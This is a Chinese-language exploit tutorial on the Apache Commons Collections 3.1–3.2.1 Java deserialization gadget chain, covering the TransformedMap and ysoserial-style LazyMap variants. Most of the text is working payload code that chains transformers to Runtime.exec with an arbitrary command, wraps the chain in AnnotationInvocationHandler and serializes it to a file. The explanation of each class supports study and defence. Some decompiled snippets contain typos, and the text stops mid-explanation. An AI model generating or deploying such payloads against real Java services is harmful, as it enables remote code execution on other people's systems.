简介
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
需要知识点
适用版本:3.1-3.2.1,jdk1.8以前
原理
首先我们先来看主要的利用代码,主要内容就是构建一个transformers数组,然后通过ConstantTransformer返回对象和InvokerTransformer反射调用对象方法,然后实例化通过ChainedTransformer将transformers数组循环串联起来形成恶意的利用链。接着实例化Map对象,通过TransformedMap.decorate()将Map转化为TransformedMap(这个过程就会调用transform方法从而执行之前的利用链)。接下来就是触发条件了,加载AnnotationInvocationHandler类,反射调用它的构造函数,然后获取实例,传入一个Map对象就能够自动的触发...
public class PayloadGeneration {
public static Object generateExecPayload(String cmd) throws Exception
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", //方法名
new Class[] {String.class, Class[].class }, //参数类型
new Object[] {"getRuntime", new Class[0] }), //参数值
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
//new Object[] {"touch /home/angelwhu/tmp/pwned"})
new Object[] {cmd})
};
return getPayloadObject(transformers);
}
private static Object getPayloadObject(Transformer[] transformers) throws Exception
{
Transformer transformerChain = new ChainedTransformer(transformers); 4
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
ctor.setAccessible(true); //取消构造函数修饰符限制
Object instance = ctor.newInstance(new Object[] { Retention.class, outmap }); //传入一个正常参数,并传入构造好的TransformedMap对象
return instance;
}
}
public void exploitTest() throws Exception
{
Object exploitObject = PayloadGeneration.generateExecPayload("calc");
//We'll write the serialized data to a file "exploitObject.ser"
FileOutputStream fos = new FileOutputStream("exploitObject.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(exploitObject);
os.close();
//Read the serialized data back in from the file "exploitObject.ser"
FileInputStream fis = new FileInputStream("exploitObject.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//Read the object from the data stream
PersonEntity objectFromDisk = (PersonEntity)ois.readObject();
ois.close();
}
首先先构建了一个Transformer数组,Transformer是一个接口,他定义的数组都是继承这个接口的类。
- ConstantTransformer类
将传入的对象赋值给iConstant,然后在实现Transformer的接口方法中,会返回这个类,代码如下:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
- InvokerTransformer类
可以通过调用Java的反射机制来调用任意函数,代码如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);//这里便是我们关注的利用反射机制进行方法调用。
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
- ChainedTransformer类
将多个Transformer还能串起来,可以形成一个ChainedTransformer,它也继承了Transformer接口,这里就是将之前存在Transformer数组里边的InvokerTransformer类迭代形成执行代码链,具体代码如下:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object); //迭代了Object
}
return object;
}
- TransformedMap类
该类是对Map接口的一个扩展。该类在当Map被加入时,可以调用decorate()函数对该Map进行特定的修饰变换,具体的变换逻辑由Transformer类定义,decorate()函数如下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
TransformedMap中有个checkSetValue方法,每当调用map的setValue方法时,该方法将会被调用。
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
然后,就是调用transformer方法。 流程即为:setValue ==> checkSetValue ==> valueTransformer.transform(value)。
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
- AnnotationInvocationHandler类
包含一个Map对象属性,其readObject方法有自动修改自身Map属性的操作,将TransformedMap当做参数,传入memberValues值中。当java每次读取序列化对象是,就会触发命令执行的Transform链。
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);//判断第一个参数是否为AnnotationType,因此使用Retention.class传入较好。
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || // 获取的值不是annotationType类型,便会触发setValue。这里只需用简单的String即可触发。
value instanceof ExceptionProxy)) {
memberValue.setValue( // 此处触发一些列的Transformer
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
ysoserial中的利用方式
主要代码
public class CommonsCollectionPayload {
static String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
//getInvocationHandler用于获取名为handler的InvocationHandler实例,并将map传入成员变量memberValues
public static InvocationHandler getInvocationHandler(String handler, Map<String, Object> map) throws Exception {
//获取构造函数
final Constructor<?> ctor = Class.forName(handler).getDeclaredConstructors()[0];
//获取handler的私有成员的访问权限,否则会报 can not access a member of class sun.reflect.annotation.AnnotationInvocationHandler
Permit.setAccessible(ctor);
//实例化
return (InvocationHandler) ctor.newInstance(Override.class, map);
}
//createMyproxy用于返回handler为ih,代理接口为iface的动态代理对象
public static <T> T createMyproxy(InvocationHandler ih, Class<T> iface) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
allIfaces[0] = iface;
return iface.cast(Proxy.newProxyInstance(CommonsCollectionPayload.class.getClassLoader(), allIfaces, ih));
}
//setFieldValue用于设置obj对象的成员变量fieldName的值为value
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = null;
try {
//获取私有成员变量
field = obj.getClass().getDeclaredField(fieldName);
//获取私有成员变量访问权限
Permit.setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (obj.getClass().getSuperclass() != null)
field = getField(obj.getClass().getSuperclass(), fieldName);
}
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String[] execArgs = new String[]{"open /Applications/Calculator.app/"};
// inert chain for setup
Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs),
new ConstantTransformer(1)};
//下面这部分为RCE的关键部分代码
Map innerMap = new HashMap();
//生成一个lazyMap对象,并将transformerChain赋值给对象的factory成员变量
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//创建一个Map接口的代理,并且为这个代理设置一个memberValues为lazyMap的AnnotationInvocationHandler
Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap),Map.class);
//创建一个memberValues为mapProxy的AnnotationInvocationHandler对象,这个对象也就是我们反序列化利用的恶意对象
InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);
//通过反射的方式进行赋值,即使赋值在生成对象之后也没有关系
setFieldValue(transformerChain, "iTransformers", transformers);
//将恶意对象存储为字节码
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handler);
oos.flush();
oos.close();
//读取恶意对象字节码并进行反序列化操作
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object evilObject = ois.readObject();
ois.close();
}
}
利用链
LazyMap类:和TransformedMap类一样,有个decorate方法,可以传入上述的transformer变换类,并且存在get方法去触发transform操作:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
而且在AnnotationInvocationHandler类的invoke方法中,发现了调用memberValues.get(Object)方法。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
...
Object result = memberValues.get(member);//触发transform操作。
...
return result;
}
LazyMap.get可以在AnnotationInvocationHandler.invoke中被调用,只要给LazyMap设置动态代理,LazyMap调用方法的时候就能调用invoke,而AnnotationInvocationHandler的readobject中又调用了LazyMap.entrySet方法,最后需要将map传入AnnotationInvocationHandler的构造函数。
private void readObject(objectInputStream var1) throws IOException, CLassNotFoundExceptior{
var1.defaultReadobject();
AnnotationType var2 = null;
try{
var2 = AnnotationType. getInstance(this. type);
}catch (ftlegatArgumentException var9){
return;
}
Map var3=var2.memberTypes();
Iterator var4 = this.memberValues. entrySet().iterator();
}